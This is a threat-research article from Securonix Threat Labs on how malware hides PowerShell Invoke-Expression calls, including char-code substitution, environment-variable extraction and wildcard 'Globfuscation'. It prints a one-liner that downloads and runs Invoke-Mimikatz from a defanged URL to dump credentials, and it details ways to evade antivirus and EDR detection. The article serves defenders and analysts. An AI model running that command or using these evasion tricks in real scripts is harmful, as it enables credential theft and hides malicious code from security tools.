By Securonix Threat Labs, Threat Research: D. Iuzvyk, T. Peck, O. Kolesnikov
Figure 1: Spot the PowerShell invoke expression
Introduction
While the image above appears to be purely nonsense, believe it or not, it is a simple “ipconfig” statement. Hidden somewhere in that code is an “invoke expression”, which directs execution flow. If you don’t see it, you soon will! In this article we’ll be going over common obfuscation methods, including a new technique variant we observed, used for hiding these expressions. While code obfuscation is common throughout many coding languages, in this article we’ll be focusing on PowerShell as our scripting language.
“Invoke expressions” (IEX) in PowerShell are a common method of executing code. They allow for the evaluation of expressions and the execution of code that is stored in a variable. Threat actors often use them for their ability to launch both local and remote payloads. The author of a malware usually wants their code to execute without detection and obfuscation is a useful tool to help them achieve this. It is an effective way to bypass signature detection as it randomizes malicious strings.
The use of obfuscation in PowerShell is popular among malicious actors as it can lower the likelihood of detection by antivirus and EDR software. When invoke expressions are used, it can prompt the detection engine to conduct a closer analysis, thus reducing the chances of successful execution of the malware. To get around this, malware authors will typically obfuscate the invoke expression to hide their code and increase their odds of successful script execution.
Invoke expressions 101
To understand why invoke expressions are often hidden or obfuscated, let’s understand their function a bit better. An easy explanation would be an instruction to tell PowerShell to “execute this” or “evaluate the following”. Invoke expressions can be called using the cmdlet “invoke-expression” or the alias “IEX” for short.
IEX example
The simplest example would be to evaluate a mathematical equation. In this case, we’ll use an invoke expression to evaluate a mathematical expression (1+1):
Invoke-Expression(1+1)
If you ran this code in the terminal, it would simply return “2” as the expression inside the parentheses would be evaluated.
Another example is code execution. We can create a variable in PowerShell that contains any form of executable code. Then use the invoke expression to “run” the code by passing in the variable. For example:
> $code = “ipconfig /all”
> IEX($code)
As you may have guessed, once the IEX is executed, the system’s network interface information is displayed.
IEX execution methods
There are two common ways to perform an invoke expression in PowerShell. As with the example above, we can call the cmdlet IEX, and then whatever we want to do inside parentheses immediately following the call.
A malicious example of using an invoke expression to download and execute Mimikatz to dump credentials from a script hosted on GitHub:
IEX(New-Object Net.WebClient).DownloadString(“hxxps://raw.githubusercontent[.]com/maliciousness/Invoke-Mimikatz.ps1”); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds
Alternatively, the entire command can also be executed and then piped into an invoke expression at the end:
(New-Object Net.WebClient).DownloadString(‘hxxps://raw.githubusercontent[.]com/maliciousness/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds|IEX
Knowing that there are several methods for performing an invoke expression is important as when deciphering and detecting malicious payloads, it’s helpful to know where to look.
IEX obfuscation methods
If our goal is to avoid detection, we will need to avoid common IEX methods that antivirus software may detect and prevent execution. Another reason to hide the invoke expression is to deploy counter-analysis or counter-forensic techniques. This makes the code less human-readable and more difficult to analyze by security researchers or analysts.
One thing to keep in mind is that some of the methods outlined here can be used to obfuscate code throughout an entire PowerShell script while others are unique to invoke expressions. In some cases, multiple methods can be employed to add complexity and uniqueness to the expression.
Splitting strings
One simple method of bypassing signature detection is by simply splitting out the IEX string into individual characters. While this method is less common with invoke expressions, it is still valid. This is as simple as splitting out the individual letters which will be compiled and put together again at the time of execution.
In figure 2 below, we have two examples of this. The first simply separates out the strings into individual characters. The second example is creating an array containing I, E, X and passing them into a variable. Then executing the variable along with the “-Join” command to append the characters together.
Figure 2: Splitting strings
Character substitution
Now we’re shifting gears into more advanced methods, in this case we’ll be substituting the I, E, and X characters with less obvious counterparts.
Let’s build off of the first example where we are simply appending individual characters together. Here we’ll be replacing the individual characters with their respective integer values. As you can see in the example below, we just need the int values for I, E and X. For example, as seen below, executing [char]105 in the console will produce an “i”, and so forth. Each value is then written into our original script.
Figure 3: Character int values
Character substitution + extraction
Let’s go deeper! Rather than simply replacing the characters, let’s find an existing character string that we can summon and then pull out the needed characters I, E and X. Careful consideration needs to be made as to the string we choose as the character string needs to be reliable across all Windows platforms.
One commonly used example we see with a lot of malware is leveraging existing environmental variables which contain the characters we need.
A few examples which are reliable on all current windows versions are $env:COMPSPEC, $PSHome, and $ShellID. Each of these provides between two and three characters needed for our “IEX” string. These characters can be spotted simply by echoing the variable in the terminal as seen in figure 4 below.
Once we’ve identified the needed characters, we can reference the character as an array object and combine them together to make IEX. For example, $PSHome[21] equates to “i” as it’s the 21st character in the $PSHome variable’s output string. $PSHome[34] would be the letter “e”: “C:\Windows\System32\WindowsPowerShell\v1.0”
Figure 4 below shows this in action.
Figure 4: Known variable extraction
Environmental variables are one form of extraction. Another form could be calling known PowerShell variables. This method, pictured in the first header image (figure 1) uses the PowerShell cmdlet Get-Variable or the alias “GV” to extract a wildcard match “*mdr*” for the value MaximumDriveCount, which as you can guess, contains the letters I, E, and X, which we can then extract.
Figure 5: Extraction using Get-Variable
Character substitution + wildcard matching (Globfuscation)
A more recently discovered technique recently seen in the wild is leveraging wildcards to extract the IEX characters needed by any given output. This method takes advantage of the alias “IEX” itself and leverages the Get-Alias or the Get-Command PowerShell cmdlet. The technique name “Globfuscation” was coined by threat researcher John Hammond as he demonstrated the PowerShell data masking technique as seen in the STEEP#MAVERICK campaign that our team published late last year.